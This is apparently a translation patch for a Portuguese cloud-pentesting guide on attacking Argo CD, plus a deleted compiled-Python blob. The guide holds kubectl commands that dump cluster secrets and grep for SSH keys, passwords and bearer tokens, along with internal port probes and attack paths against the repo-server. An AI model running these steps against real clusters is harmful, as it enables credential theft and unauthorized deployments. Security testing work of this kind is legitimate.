From 1d78f9926e345d2b7b653db2a13061435c1ceb6b Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 19 Jul 2026 09:23:47 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az --- .../__pycache__/translator.cpython-312.pyc | Bin 27040 -> 0 bytes src/pentesting-ci-cd/argocd-security.md | 169 +++++++++--------- .../az-post-exploitation/README.md | 4 + ...az-container-registry-post-exploitation.md | 87 +++++++++ .../az-services/az-container-registry.md | 80 +++++---- 5 files changed, 218 insertions(+), 122 deletions(-) delete mode 100644 scripts/__pycache__/translator.cpython-312.pyc create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md diff --git a/scripts/__pycache__/translator.cpython-312.pyc b/scripts/__pycache__/translator.cpython-312.pyc deleted file mode 100644 index fb1c736ffac0410ab5debbefda782466ceba449c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 27040 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 diff --git a/src/pentesting-ci-cd/argocd-security.md b/src/pentesting-ci-cd/argocd-security.md index 5ac5bf87c..26a884e49 100644 --- a/src/pentesting-ci-cd/argocd-security.md +++ b/src/pentesting-ci-cd/argocd-security.md @@ -1,19 +1,19 @@ -# Argo CD Security +# Segurança do Argo CD {{#include ../banners/hacktricks-training.md}} -## Informações Básicas +## Informações básicas -[Argo CD](https://argo-cd.readthedocs.io/) é uma plataforma de continuous delivery GitOps para Kubernetes. Ela monitora repositórios Git, renderiza manifests do Kubernetes com ferramentas como Helm, Kustomize, Jsonnet ou config management plugins, e reconcilia o estado atual do cluster com o estado desejado armazenado no Git. +[Argo CD](https://argo-cd.readthedocs.io/) é uma plataforma de entrega contínua GitOps para Kubernetes. Ela monitora repositórios Git, renderiza manifests do Kubernetes com ferramentas como Helm, Kustomize, Jsonnet ou plugins de gerenciamento de configuração, e reconcilia o estado atual do cluster com o estado desejado armazenado no Git. -Da perspectiva de um attacker, trate o Argo CD como um **deployment engine com credenciais do Kubernetes**. Um compromise útil do Argo CD pode levar a: +Do ponto de vista de um atacante, trate o Argo CD como um **deployment engine com credenciais do Kubernetes**. Um comprometimento útil do Argo CD pode levar a: -- Acesso a repositórios Git privados e credenciais de repositório. -- Acesso a secrets do cluster Kubernetes usados pelo Argo CD. +- Acesso a repositórios Git privados e às credenciais dos repositórios. +- Acesso aos secrets do cluster Kubernetes usados pelo Argo CD. - Execução de código na geração de manifests em `argocd-repo-server`. -- Deployment não autorizado de objetos do Kubernetes por meio de repositórios Git confiáveis, applications do Argo CD ou manipulação de cache. +- Deployment não autorizado de objetos do Kubernetes por meio de repositórios Git confiáveis, aplicações do Argo CD ou manipulação do cache. -## Arquitetura & Componentes Interessantes +## Arquitetura e componentes interessantes Objetos e serviços comuns do Kubernetes: ```bash @@ -24,19 +24,19 @@ kubectl get networkpolicy -n argocd 2>/dev/null ``` Serviços interessantes: -- **`argocd-server`**: API pública, web UI, CLI API, autenticação e autorização. -- **`argocd-application-controller`**: compara o estado desejado e o estado em execução, depois aplica recursos ao Kubernetes. -- **`argocd-repo-server`**: clona repositórios, faz cache de dados Git e executa Helm/Kustomize/Jsonnet/plugins para gerar manifests. A porta gRPC padrão é **8081**. -- **`argocd-redis`**: cache para dados de application, manifest e Git reference. A porta Redis padrão é **6379**. -- **`argocd-applicationset-controller`**: gera objetos Argo CD `Application` a partir de generators como Git, SCM, clusters e pull requests. +- **`argocd-server`**: API pública, interface web, API da CLI, autenticação e autorização. +- **`argocd-application-controller`**: compara o estado desejado e o estado real, depois aplica recursos ao Kubernetes. +- **`argocd-repo-server`**: clona repositórios, armazena dados do Git em cache e executa Helm/Kustomize/Jsonnet/plugins para gerar manifests. A porta gRPC padrão é **8081**. +- **`argocd-redis`**: cache para dados de aplicações, manifests e referências do Git. A porta Redis padrão é **6379**. +- **`argocd-applicationset-controller`**: gera objetos `Application` do Argo CD a partir de generators como Git, SCM, clusters e pull requests. -A partir de um pod comprometido ou de um segmento de rede interno, verifique a acessibilidade interna: +A partir de um pod comprometido ou de um segmento de rede interno, verifique a reachability interna: ```bash nc -vz 443 nc -vz 8081 nc -vz 6379 ``` -## Public API / UI Attacks +## Ataques à API / UI pública Se você tiver credenciais do Argo CD ou uma instância exposta, comece pela superfície normal da API: ```bash @@ -51,13 +51,13 @@ argocd admin settings rbac can ``` Caminhos de ataque úteis: -- **Application write access**: modificar `source.repoURL`, `source.path`, valores do Helm, opções do Kustomize, configurações do plugin ou opções de sync para fazer o Argo CD deploy de manifests controlados pelo atacante. -- **Project misconfiguration**: objetos `AppProject` podem permitir `sourceRepos` amplos, `destinations` amplos, `clusterResourceWhitelist` inseguro, ou restrições fracas de namespace. -- **Repository credential abuse**: secrets de repositório, credenciais de GitHub App, chaves SSH e tokens podem permitir push para repos confiáveis ou adicionar dependências maliciosas. -- **Cluster credential abuse**: secrets de cluster podem conter bearer tokens ou configuração de exec-provider usada pelo Argo CD para fazer deploy em target clusters. -- **Local admin / project tokens**: tokens do Argo CD de longa duração podem ser reutilizados pela API, a menos que sejam revogados ou expirem. +- **Acesso de escrita à Application**: modifique `source.repoURL`, `source.path`, valores do Helm, opções do Kustomize, configurações de plugins ou opções de sincronização para que o Argo CD faça deploy de manifests controlados pelo atacante. +- **Configuração incorreta do Project**: objetos `AppProject` podem permitir `sourceRepos` amplos, `destinations` amplos, `clusterResourceWhitelist` inseguro ou restrições fracas de namespace. +- **Abuso de credenciais do repositório**: secrets do repositório, credenciais do GitHub App, chaves SSH e tokens podem permitir fazer push em repositórios confiáveis ou adicionar dependências maliciosas. +- **Abuso de credenciais do cluster**: secrets do cluster podem conter bearer tokens ou configurações de exec-provider usadas pelo Argo CD para fazer deploy nos clusters-alvo. +- **Tokens de admin local / Project**: tokens de longa duração do Argo CD podem ser reutilizados pela API, a menos que sejam revogados ou expirem. -Enumere a configuração do Kubernetes quando você tiver cluster read access: +Enumere a configuração do Kubernetes quando tiver acesso de leitura ao cluster: ```bash kubectl get applications.argoproj.io -A -o yaml kubectl get appprojects.argoproj.io -A -o yaml @@ -65,26 +65,26 @@ kubectl get applicationsets.argoproj.io -A -o yaml kubectl get secrets -n argocd -o yaml | grep -nE 'repoURL|sshPrivateKey|password|bearerToken|githubApp|tlsClientCertData|tlsClientCertKey' kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml ``` -## Abuso de Trusted Git Repository +## Abuso de Repositório Git Confiável -Se você pode fazer push para um repository trusted pelo Argo CD, normalmente consegue influenciar o que é deployed. O impacto depende dos limites do `AppProject` e das permissões da service account usadas pelo application controller. +Se você puder fazer push para um repositório confiável pelo Argo CD, normalmente poderá influenciar o que é implantado. O impacto depende dos limites do `AppProject` e das permissões da service account usadas pelo application controller. -Locais comuns de payload: +Locais comuns para payloads: -- Raw Kubernetes YAML sob um caminho da application. +- YAML bruto do Kubernetes em um caminho da aplicação. - Templates de Helm chart e `values.yaml`. -- Kustomize overlays, remote bases e generators. -- Jsonnet ou input de config management plugin. +- Overlays do Kustomize, bases remotas e generators. +- Entrada do Jsonnet ou de plugins de gerenciamento de configuração. - Arquivos de generator do ApplicationSet que criam ou atualizam objetos `Application`. -Verifique se a app usa automated sync, pruning, self-heal, sync windows ou manual approvals: +Verifique se a aplicação usa sync automatizado, pruning, self-heal, sync windows ou aprovações manuais: ```bash kubectl get applications.argoproj.io -A \ -o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server' ``` -## Abuso direto de `argocd-repo-server` +## Abuso direto do `argocd-repo-server` -Não presuma que a API pública do Argo CD é a única superfície de ataque. Componentes internos do Argo CD se comunicam com `argocd-repo-server` via gRPC. Se pods arbitrários conseguirem alcançar o repo-server, requisições internas controladas pelo atacante podem contornar verificações normalmente aplicadas por `argocd-server`. +Não presuma que a API pública do Argo CD seja a única superfície de ataque. Os componentes internos do Argo CD se comunicam com o `argocd-repo-server` por gRPC. Se pods arbitrários puderem alcançar o repo-server, requisições internas controladas pelo atacante poderão contornar verificações normalmente aplicadas pelo `argocd-server`. Verificações práticas: ```bash @@ -94,20 +94,20 @@ nc -vz 8081 ``` Sinais interessantes: -- O endpoint gRPC do 